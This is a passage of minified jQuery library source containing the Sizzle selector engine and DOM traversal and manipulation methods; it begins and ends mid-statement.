mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){v.fn[t]=function(e,n){return n==null&&(n=e,e=null),arguments.length>0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!="string")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,"$1"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j," ");for(o in i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir==="parentNode",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+" "+o+" ",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a=="string"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u<a;u++)if(s=e[u])if(!n||n(s,r,i))o.push(s),f&&t.push(u);return o}function ct(e,t,n,r,i,s){return r&&!r[d]&&(r=ct(r)),i&&!i[d]&&(i=ct(i,s)),N(function(s,o,u,a){var f,l,c,h=[],p=[],d=o.length,v=s||dt(t||"*",u.nodeType?[u]:u,[]),m=e&&(s||!t)?lt(v,h,e,u,a):v,g=n?i||(s?e:d||r)?[]:o:m;n&&n(m,g,u,a);if(r){f=lt(g,p),r(f,[],u,a),l=f.length;while(l--)if(c=f[l])g[p[l]]=!(m[p[l]]=c)}if(s){if(i||e){if(i){f=[],l=g.length;while(l--)(c=g[l])&&f.push(m[l]=c);i(null,g=[],f,a)}l=g.length;while(l--)(c=g[l])&&(f=i?T.call(s,c):h[l])>-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[" "],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a<s;a++)if(n=i.relative[e[a].type])h=[at(ft(h),n)];else{n=i.filter[e[a].type].apply(null,e[a].matches);if(n[d]){r=++a;for(;r<s;r++)if(i.relative[e[r].type])break;return ct(a>1&&ft(h),a>1&&e.slice(0,a-1).join("").replace(j,"$1"),n,a<r&&ht(e.slice(a,r)),r<s&&ht(e=e.slice(r)),r<s&&e.join(""))}h.push(n)}return ft(h)}function pt(e,t){var r=t.length>0,s=e.length>0,o=function(u,a,f,l,h){var p,d,v,m=[],y=0,w="0",x=u&&[],T=h!=null,N=c,C=u||s&&i.find.TAG("*",h&&a.parentNode||a),k=b+=N==null?1:Math.E;T&&(c=a!==g&&a,n=o.el);for(;(p=C[w])!=null;w++){if(s&&p){for(d=0;v=e[d];d++)if(v(p,a,f)){l.push(p);break}T&&(b=k,n=++o.el)}r&&((p=!v&&p)&&y--,u&&x.push(p))}y+=w;if(r&&w!==y){for(d=0;v=t[d];d++)v(x,m,a,f);if(u){if(y>0)while(w--)!x[w]&&!m[w]&&(m[w]=E.call(l));m=lt(m)}S.apply(l,m),T&&!u&&m.length>0&&y+t.length>1&&nt.uniqueSort(l)}return T&&(b=k,c=N),x};return o.el=0,r?N(o):o}function dt(e,t,n){var r=0,i=t.length;for(;r<i;r++)nt(e,t[r],n);return n}function vt(e,t,n,r,s){var o,u,f,l,c,h=ut(e),p=h.length;if(!r&&h.length===1){u=h[0]=h[0].slice(0);if(u.length>2&&(f=u[0]).type==="ID"&&t.nodeType===9&&!s&&i.relative[u[1].type]){t=i.find.ID(f.matches[0].replace($,""),t,s)[0];if(!t)return n;e=e.slice(u.shift().length)}for(o=J.POS.test(e)?-1:u.length-1;o>=0;o--){f=u[o];if(i.relative[l=f.type])break;if(c=i.find[l])if(r=c(f.matches[0].replace($,""),z.test(u[0].type)&&t.parentNode||t,s)){u.splice(o,1),e=r.length&&u.join("");if(!e)return S.apply(n,x.call(r,0)),n;break}}}return a(e,h)(r,t,s,n,z.test(e)),n}function mt(){}var n,r,i,s,o,u,a,f,l,c,h=!0,p="undefined",d=("sizcache"+Math.random()).replace(".",""),m=String,g=e.document,y=g.documentElement,b=0,w=0,E=[].pop,S=[].push,x=[].slice,T=[].indexOf||function(e){var t=0,n=this.length;for(;t<n;t++)if(this[t]===e)return t;return-1},N=function(e,t){return e[d]=t==null||t,e},C=function(){var e={},t=[];return N(function(n,r){return t.push(n)>i.cacheLength&&delete e[t.shift()],e[n+" "]=r},e)},k=C(),L=C(),A=C(),O="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",_=M.replace("w","w#"),D="([*^$|!~]?=)",P="\\["+O+"*("+M+")"+O+"*(?:"+D+O+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+_+")|)|)"+O+"*\\]",H=":("+M+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+P+")|[^:]|\\\\.)*|.*))\\)|)",B=":(even|odd|eq|gt|lt|nth|first|last)(?:\\("+O+"*((?:-\\d)?\\d*)"+O+"*\\)|)(?=[^-]|$)",j=new RegExp("^"+O+"+|((?:^|[^\\\\])(?:\\\\.)*)"+O+"+$","g"),F=new RegExp("^"+O+"*,"+O+"*"),I=new RegExp("^"+O+"*([\\x20\\t\\r\\n\\f>+~])"+O+"*"),q=new RegExp(H),R=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,U=/^:not/,z=/[\x20\t\r\n\f]*[+~]/,W=/:not\($/,X=/h\d/i,V=/input|select|textarea|button/i,$=/\\(?!\\)/g,J={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),NAME:new RegExp("^\\[name=['\"]?("+M+")['\"]?\\]"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+P),PSEUDO:new RegExp("^"+H),POS:new RegExp(B,"i"),CHILD:new RegExp("^:(only|nth|first|last)-child(?:\\("+O+"*(even|odd|(([+-]|)(\\d*)n|)"+O+"*(?:([+-]|)"+O+"*(\\d+)|))"+O+"*\\)|)","i"),needsContext:new RegExp("^"+O+"*[>+~]|"+B,"i")},K=function(e){var t=g.createElement("div");try{return e(t)}catch(n){return!1}finally{t=null}},Q=K(function(e){return e.appendChild(g.createComment("")),!e.getElementsByTagName("*").length}),G=K(function(e){return e.innerHTML="<a href='#'></a>",e.firstChild&&typeof e.firstChild.getAttribute!==p&&e.firstChild.getAttribute("href")==="#"}),Y=K(function(e){e.innerHTML="<select></select>";var t=typeof e.lastChild.getAttribute("multiple");return t!=="boolean"&&t!=="string"}),Z=K(function(e){return e.innerHTML="<div class='hidden e'></div><div class='hidden'></div>",!e.getElementsByClassName||!e.getElementsByClassName("e").length?!1:(e.lastChild.className="e",e.getElementsByClassName("e").length===2)}),et=K(function(e){e.id=d+0,e.innerHTML="<a name='"+d+"'></a><div name='"+d+"'></div>",y.insertBefore(e,y.firstChild);var t=g.getElementsByName&&g.getElementsByName(d).length===2+g.getElementsByName(d+0).length;return r=!g.getElementById(d),y.removeChild(e),t});try{x.call(y.childNodes,0)[0].nodeType}catch(tt){x=function(e){var t,n=[];for(;t=this[e];e++)n.push(t);return n}}nt.matches=function(e,t){return nt(e,null,null,t)},nt.matchesSelector=function(e,t){return nt(t,null,null,[e]).length>0},s=nt.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(i===1||i===9||i===11){if(typeof e.textContent=="string")return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=s(e)}else if(i===3||i===4)return e.nodeValue}else for(;t=e[r];r++)n+=s(t);return n},o=nt.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return t?t.nodeName!=="HTML":!1},u=nt.contains=y.contains?function(e,t){var n=e.nodeType===9?e.documentElement:e,r=t&&t.parentNode;return e===r||!!(r&&r.nodeType===1&&n.contains&&n.contains(r))}:y.compareDocumentPosition?function(e,t){return t&&!!(e.compareDocumentPosition(t)&16)}:function(e,t){while(t=t.parentNode)if(t===e)return!0;return!1},nt.attr=function(e,t){var n,r=o(e);return r||(t=t.toLowerCase()),(n=i.attrHandle[t])?n(e):r||Y?e.getAttribute(t):(n=e.getAttributeNode(t),n?typeof e[t]=="boolean"?e[t]?t:null:n.specified?n.value:null:null)},i=nt.selectors={cacheLength:50,createPseudo:N,match:J,attrHandle:G?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:r?function(e,t,n){if(typeof t.getElementById!==p&&!n){var r=t.getElementById(e);return r&&r.parentNode?[r]:[]}}:function(e,n,r){if(typeof n.getElementById!==p&&!r){var i=n.getElementById(e);return i?i.id===e||typeof i.getAttributeNode!==p&&i.getAttributeNode("id").value===e?[i]:t:[]}},TAG:Q?function(e,t){if(typeof t.getElementsByTagName!==p)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if(e==="*"){var r,i=[],s=0;for(;r=n[s];s++)r.nodeType===1&&i.push(r);return i}return n},NAME:et&&function(e,t){if(typeof t.getElementsByName!==p)return t.getElementsByName(name)},CLASS:Z&&function(e,t,n){if(typeof t.getElementsByClassName!==p&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace($,""),e[3]=(e[4]||e[5]||"").replace($,""),e[2]==="~="&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),e[1]==="nth"?(e[2]||nt.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*(e[2]==="even"||e[2]==="odd")),e[4]=+(e[6]+e[7]||e[2]==="odd")):e[2]&&nt.error(e[0]),e},PSEUDO:function(e){var t,n;if(J.CHILD.test(e[0]))return null;if(e[3])e[2]=e[3];else if(t=e[4])q.test(t)&&(n=ut(t,!0))&&(n=t.indexOf(")",t.length-n)-t.length)&&(t=t.slice(0,n),e[0]=e[0].slice(0,n)),e[2]=t;return e.slice(0,3)}},filter:{ID:r?function(e){return e=e.replace($,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace($,""),function(t){var n=typeof t.getAttributeNode!==p&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return e==="*"?function(){return!0}:(e=e.replace($,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=k[d][e+" "];return t||(t=new RegExp("(^|"+O+")"+e+"("+O+"|$)"))&&k(e,function(e){return t.test(e.className||typeof e.getAttribute!==p&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r,i){var s=nt.attr(r,e);return s==null?t==="!=":t?(s+="",t==="="?s===n:t==="!="?s!==n:t==="^="?n&&s.indexOf(n)===0:t==="*="?n&&s.indexOf(n)>-1:t==="$="?n&&s.substr(s.length-n.length)===n:t==="~="?(" "+s+" ").indexOf(n)>-1:t==="|="?s===n||s.substr(0,n.length+1)===n+"-":!1):!0}},CHILD:function(e,t,n,r){return e==="nth"?function(e){var t,i,s=e.parentNode;if(n===1&&r===0)return!0;if(s){i=0;for(t=s.firstChild;t;t=t.nextSibling)if(t.nodeType===1){i++;if(e===t)break}}return i-=r,i===n||i%n===0&&i/n>=0}:function(t){var n=t;switch(e){case"only":case"first":while(n=n.previousSibling)if(n.nodeType===1)return!1;if(e==="first")return!0;n=t;case"last":while(n=n.nextSibling)if(n.nodeType===1)return!1;return!0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||nt.error("unsupported pseudo: "+e);return r[d]?r(t):r.length>1?(n=[e,e,"",t],i.setFilters.hasOwnProperty(e.toLowerCase())?N(function(e,n){var i,s=r(e,t),o=s.length;while(o--)i=T.call(e,s[o]),e[i]=!(n[i]=s[o])}):function(e){return r(e,0,n)}):r}},pseudos:{not:N(function(e){var t=[],n=[],r=a(e.replace(j,"$1"));return r[d]?N(function(e,t,n,i){var s,o=r(e,null,i,[]),u=e.length;while(u--)if(s=o[u])e[u]=!(t[u]=s)}):function(e,i,s){return t[0]=e,r(t,null,s,n),!n.pop()}}),has:N(function(e){return function(t){return nt(e,t).length>0}}),contains:N(function(e){return function(t){return(t.textContent||t.innerText||s(t)).indexOf(e)>-1}}),enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!i.pseudos.empty(e)},empty:function(e){var t;e=e.firstChild;while(e){if(e.nodeName>"@"||(t=e.nodeType)===3||t===4)return!1;e=e.nextSibling}return!0},header:function(e){return X.test(e.nodeName)},text:function(e){var t,n;return e.nodeName.toLowerCase()==="input"&&(t=e.type)==="text"&&((n=e.getAttribute("type"))==null||n.toLowerCase()===t)},radio:rt("radio"),checkbox:rt("checkbox"),file:rt("file"),password:rt("password"),image:rt("image"),submit:it("submit"),reset:it("reset"),button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},input:function(e){return V.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},active:function(e){return e===e.ownerDocument.activeElement},first:st(function(){return[0]}),last:st(function(e,t){return[t-1]}),eq:st(function(e,t,n){return[n<0?n+t:n]}),even:st(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:st(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:st(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:st(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}},f=y.compareDocumentPosition?function(e,t){return e===t?(l=!0,0):(!e.compareDocumentPosition||!t.compareDocumentPosition?e.compareDocumentPosition:e.compareDocumentPosition(t)&4)?-1:1}:function(e,t){if(e===t)return l=!0,0;if(e.sourceIndex&&t.sourceIndex)return e.sourceIndex-t.sourceIndex;var n,r,i=[],s=[],o=e.parentNode,u=t.parentNode,a=o;if(o===u)return ot(e,t);if(!o)return-1;if(!u)return 1;while(a)i.unshift(a),a=a.parentNode;a=u;while(a)s.unshift(a),a=a.parentNode;n=i.length,r=s.length;for(var f=0;f<n&&f<r;f++)if(i[f]!==s[f])return ot(i[f],s[f]);return f===n?ot(e,s[f],-1):ot(i[f],t,1)},[0,0].sort(f),h=!l,nt.uniqueSort=function(e){var t,n=[],r=1,i=0;l=h,e.sort(f);if(l){for(;t=e[r];r++)t===e[r-1]&&(i=n.push(r));while(i--)e.splice(n[i],1)}return e},nt.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},a=nt.compile=function(e,t){var n,r=[],i=[],s=A[d][e+" "];if(!s){t||(t=ut(e)),n=t.length;while(n--)s=ht(t[n]),s[d]?r.push(s):i.push(s);s=A(e,pt(i,r))}return s},g.querySelectorAll&&function(){var e,t=vt,n=/'|\\/g,r=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,i=[":focus"],s=[":active"],u=y.matchesSelector||y.mozMatchesSelector||y.webkitMatchesSelector||y.oMatchesSelector||y.msMatchesSelector;K(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||i.push("\\["+O+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||i.push(":checked")}),K(function(e){e.innerHTML="<p test=''></p>",e.querySelectorAll("[test^='']").length&&i.push("[*^$]="+O+"*(?:\"\"|'')"),e.innerHTML="<input type='hidden'/>",e.querySelectorAll(":enabled").length||i.push(":enabled",":disabled")}),i=new RegExp(i.join("|")),vt=function(e,r,s,o,u){if(!o&&!u&&!i.test(e)){var a,f,l=!0,c=d,h=r,p=r.nodeType===9&&e;if(r.nodeType===1&&r.nodeName.toLowerCase()!=="object"){a=ut(e),(l=r.getAttribute("id"))?c=l.replace(n,"\\$&"):r.setAttribute("id",c),c="[id='"+c+"'] ",f=a.length;while(f--)a[f]=c+a[f].join("");h=z.test(e)&&r.parentNode||r,p=a.join(",")}if(p)try{return S.apply(s,x.call(h.querySelectorAll(p),0)),s}catch(v){}finally{l||r.removeAttribute("id")}}return t(e,r,s,o,u)},u&&(K(function(t){e=u.call(t,"div");try{u.call(t,"[test!='']:sizzle"),s.push("!=",H)}catch(n){}}),s=new RegExp(s.join("|")),nt.matchesSelector=function(t,n){n=n.replace(r,"='$1']");if(!o(t)&&!s.test(n)&&!i.test(n))try{var a=u.call(t,n);if(a||e||t.document&&t.document.nodeType!==11)return a}catch(f){}return nt(n,null,null,[t]).length>0})}(),i.pseudos.nth=i.pseudos.eq,i.filters=mt.prototype=i.pseudos,i.setFilters=new mt,nt.attr=v.attr,v.find=nt,v.expr=nt.selectors,v.expr[":"]=v.expr.pseudos,v.unique=nt.uniqueSort,v.text=nt.getText,v.isXMLDoc=nt.isXML,v.contains=nt.contains}(e);var nt=/Until$/,rt=/^(?:parents|prev(?:Until|All))/,it=/^.[^:#\[\.,]*$/,st=v.expr.match.needsContext,ot={children:!0,contents:!0,next:!0,prev:!0};v.fn.extend({find:function(e){var t,n,r,i,s,o,u=this;if(typeof e!="string")return v(e).filter(function(){for(t=0,n=u.length;t<n;t++)if(v.contains(u[t],this))return!0});o=this.pushStack("","find",e);for(t=0,n=this.length;t<n;t++){r=o.length,v.find(e,this[t],o);if(t>0)for(i=r;i<o.length;i++)for(s=0;s<r;s++)if(o[s]===o[i]){o.splice(i--,1);break}}return o},has:function(e){var t,n=v(e,this),r=n.length;return this.filter(function(){for(t=0;t<r;t++)if(v.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ft(this,e,!1),"not",e)},filter:function(e){return this.pushStack(ft(this,e,!0),"filter",e)},is:function(e){return!!e&&(typeof e=="string"?st.test(e)?v(e,this.context).index(this[0])>=0:v.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){var n,r=0,i=this.length,s=[],o=st.test(e)||typeof e!="string"?v(e,t||this.context):0;for(;r<i;r++){n=this[r];while(n&&n.ownerDocument&&n!==t&&n.nodeType!==11){if(o?o.index(n)>-1:v.find.matchesSelector(n,e)){s.push(n);break}n=n.parentNode}}return s=s.length>1?v.unique(s):s,this.pushStack(s,"closest",e)},index:function(e){return e?typeof e=="string"?v.inArray(this[0],v(e)):v.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.prevAll().length:-1},add:function(e,t){var n=typeof e=="string"?v(e,t):v.makeArray(e&&e.nodeType?[e]:e),r=v.merge(this.get(),n);return this.pushStack(ut(n[0])||ut(r[0])?r:v.unique(r))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}}),v.fn.andSelf=v.fn.addBack,v.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return v.dir(e,"parentNode")},parentsUntil:function(e,t,n){return v.dir(e,"parentNode",n)},next:function(e){return at(e,"nextSibling")},prev:function(e){return at(e,"previousSibling")},nextAll:function(e){return v.dir(e,"nextSibling")},prevAll:function(e){return v.dir(e,"previousSibling")},nextUntil:function(e,t,n){return v.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return v.dir(e,"previousSibling",n)},siblings:function(e){return v.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return v.sibling(e.firstChild)},contents:function(e){return v.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:v.merge([],e.childNodes)}},function(e,t){v.fn[e]=function(n,r){var i=v.map(this,t,n);return nt.test(e)||(r=n),r&&typeof r=="string"&&(i=v.filter(r,i)),i=this.length>1&&!ot[e]?v.unique(i):i,this.length>1&&rt.test(e)&&(i=i.reverse()),this.pushStack(i,e,l.call(arguments).join(","))}}),v.extend({filter:function(e,t,n){return n&&(e=":not("+e+")"),t.length===1?v.find.matchesSelector(t[0],e)?[t[0]]:[]:v.find.matches(e,t)},dir:function(e,n,r){var i=[],s=e[n];while(s&&s.nodeType!==9&&(r===t||s.nodeType!==1||!v(s).is(r)))s.nodeType===1&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)e.nodeType===1&&e!==t&&n.push(e);return n}});var ct="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",ht=/ jQuery\d+="(?:null|\d+)"/g,pt=/^\s+/,dt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,vt=/<([\w:]+)/,mt=/<tbody/i,gt=/<|&#?\w+;/,yt=/<(?:script|style|link)/i,bt=/<(?:script|object|embed|option|style)/i,wt=new RegExp("<(?:"+ct+")[\\s/>]","i"),Et=/^(?:checkbox|radio)$/,St=/checked\s*(?:[^=]|=\s*.checked.)/i,xt=/\/(java|ecma)script/i,Tt=/^\s*<!(?:\[CDATA\[|\-\-)|[\]\-]{2}>\s*$/g,Nt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},Ct=lt(i),kt=Ct.appendChild(i.createElement("div"));Nt.optgroup=Nt.option,Nt.tbody=Nt.tfoot=Nt.colgroup=Nt.caption=Nt.thead,Nt.th=Nt.td,v.support.htmlSerialize||(Nt._default=[1,"X<div>","</div>"]),v.fn.extend({text:function(e){return v.access(this,function(e){return e===t?v.text(this):this.empty().append((this[0]&&this[0].ownerDocument||i).createTextNode(e))},null,e,arguments.length)},wrapAll:function(e){if(v.isFunction(e))return this.each(function(t){v(this).wrapAll(e.call(this,t))});if(this[0]){var t=v(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&e.firstChild.nodeType===1)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return v.isFunction(e)?this.each(function(t){v(this).wrapInner(e.call(this,t))}):this.each(function(){var t=v(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=v.isFunction(e);return this.each(function(n){v(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){v.nodeName(this,"body")||v(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.appendChild(e)})},prepend:function(){return this.domManip(arguments,!0,function(e){(this.nodeType===1||this.nodeType===11)&&this.insertBefore(e,this.firstChild)})},before:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(e,this),"before",this.selector)}},after:function(){if(!ut(this[0]))return this.domManip(arguments,!1,function(e){this.parentNode.insertBefore(e,this.nextSibling)});if(arguments.length){var e=v.clean(arguments);return this.pushStack(v.merge(this,e),"after",this.selector)}},remove:function(e,t){var n,r=0;for(;(n=this[r])!=null;r++)if(!e||v.filter(e,[n]).length)!t&&n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),v.cleanData([n])),n.parentNode&&n.parentNode.removeChild(n);return this},empty:function(){var e,t=0;for(;(e=this[t])!=null;t++){e.nodeType===1&&v.cleanData(e.getElementsByTagName("*"));while(e.firstChild)e.removeChild(e.firstChild)}return this},clone:function(e,t){return e=e==null?!1:e,t=t==null?e:t,this.map(function(){return v.clone(this,e,t)})},html:function(e){return v.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return n.nodeType===1?n.innerHTML.replace(ht,""):t;if(typeof e=="string"&&!yt.test(e)&&(v.support.htmlSerialize||!wt.test(e))&&(v.support.leadingWhitespace||!pt.test(e))&&!Nt[(vt.exec(e)||["",""])[1].toLowerCase()]){e=e.replace(dt,"<$1></$2>");try{for(;r<i;r++)n=this[r]||{},n.nodeType===1&&(v.cleanData(n.getElementsByTagName("*")),n.innerHTML=e);n=0}catch(s){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(e){return ut(this[0])?this.length?this.pushStack(v(v.isFunction(e)?e():e),"replaceWith",e):this:v.isFunction(e)?this.each(function(t){var n=v(this),r=n.html();n.replaceWith(e.call(this,t,r))}):(typeof e!="string"&&(e=v(e).detach()),this.each(function(){var t=this.nextSibling,n=this.parentNode;v(this).remove(),t?v(t).before(e):v(n).append(e)}))},detach:function(e){return this.remove(e,!0)},domManip:function(e,n,r){e=[].concat.apply([],e);var i,s,o,u,a=0,f=e[0],l=[],c=this.length;if(!v.support.checkClone&&c>1&&typeof f=="string"&&St.test(f))return this.each(function(){v(this).domManip(e,n,r)});if(v.isFunction(f))return this.each(function(i){var s=v(this);e[0]=f.call(this,i,n?s.html():t),s.domManip(e,n,r)});if(this[0]){i=v.buildFragment(e,this,l),o=i.fragment,s=o.firstChild,o.childNodes.length===1&&(o=s);if(s){n=n&&v.nodeName(s,"tr");for(u=i.cacheable||c-1;a<c;a++)r.call(n&&v.nodeName(this[a],"table")?Lt(this[a],"tbody"):this[a],a===u?o:v.clone(o,!0,!0))}o=s=null,l.length&&v.each(l,function(e,t){t.src?v.ajax?v.ajax({url:t.src,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0}):v.error("no ajax"):v.globalEval((t.text||t.textContent||t.innerHTML||"").replace(Tt,"")),t.parentNode&&t.parentNode.removeChild(t)})}return this}}),v.buildFragment=function(e,n,r){var s,o,u,a=e[0];return n=n||i,n=!n.nodeType&&n[0]||n,n=n.ownerDocument||n,e.length===1&&typeof a=="string"&&a.length<512&&n===i&&a.charAt(0)==="<"&&!bt.test(a)&&(v.support.checkClone||!St.test(a))&&(v.support.html5Clone||!wt.test(a))&&(o=!0,s=v.fragments[a],u=s!==t),s||(s=n.createDocumentFragment(),v.clean(e,n,s,r),o&&(v.fragments[a]=u&&s)),{fragment:s,cacheable:o}},v.fragments={},v.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){v.fn[e]=function(n){var r,i=0,s=[],o=v(n),u=o.length,a=this.length===1&&this[0].parentNode;if((a==null||a&&a.nodeType===11&&a.childNodes.length===1)&&u===1)return o[t](this[0]),this;for(;i<u;i++)r=(i>0?this.clone(!0):this).get(),v(o[i])[t](r),s=s.concat(r);return this.pushStack(s,e,o.selector)}}),v.extend({clone:function(e,t,n){var r,i,s,o;v.support.html5Clone||v.isXMLDoc(e)||!wt.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(kt.innerHTML=e.outerHTML,kt.removeChild(o=kt.firstChild));if((!v.support.noCloneEvent||!v.support.noCloneChecked)&&(e.nodeType===1||e.nodeType===11)&&!v.isXMLDoc(e)){Ot(e,o),r=Mt(e),i=Mt(o);for(s=0;r[s];++s)i[s]&&Ot(r[s],i[s])}if(t){At(e,o);if(n){r=Mt(e),i=Mt(o);for(s=0;r[s];++s)At(r[s],i[s])}}return r=i=null,o},clean:function(e,t,n,r){var s,o,u,a,f,l,c,h,p,d,m,g,y=t===i&&Ct,b=[];if(!t||typeof t.createDocumentFragment=="undefined")t=i;for(s=0;(u=e[s])!=null;s++){typeof u=="number"&&(u+="");if(!u)continue;if(typeof 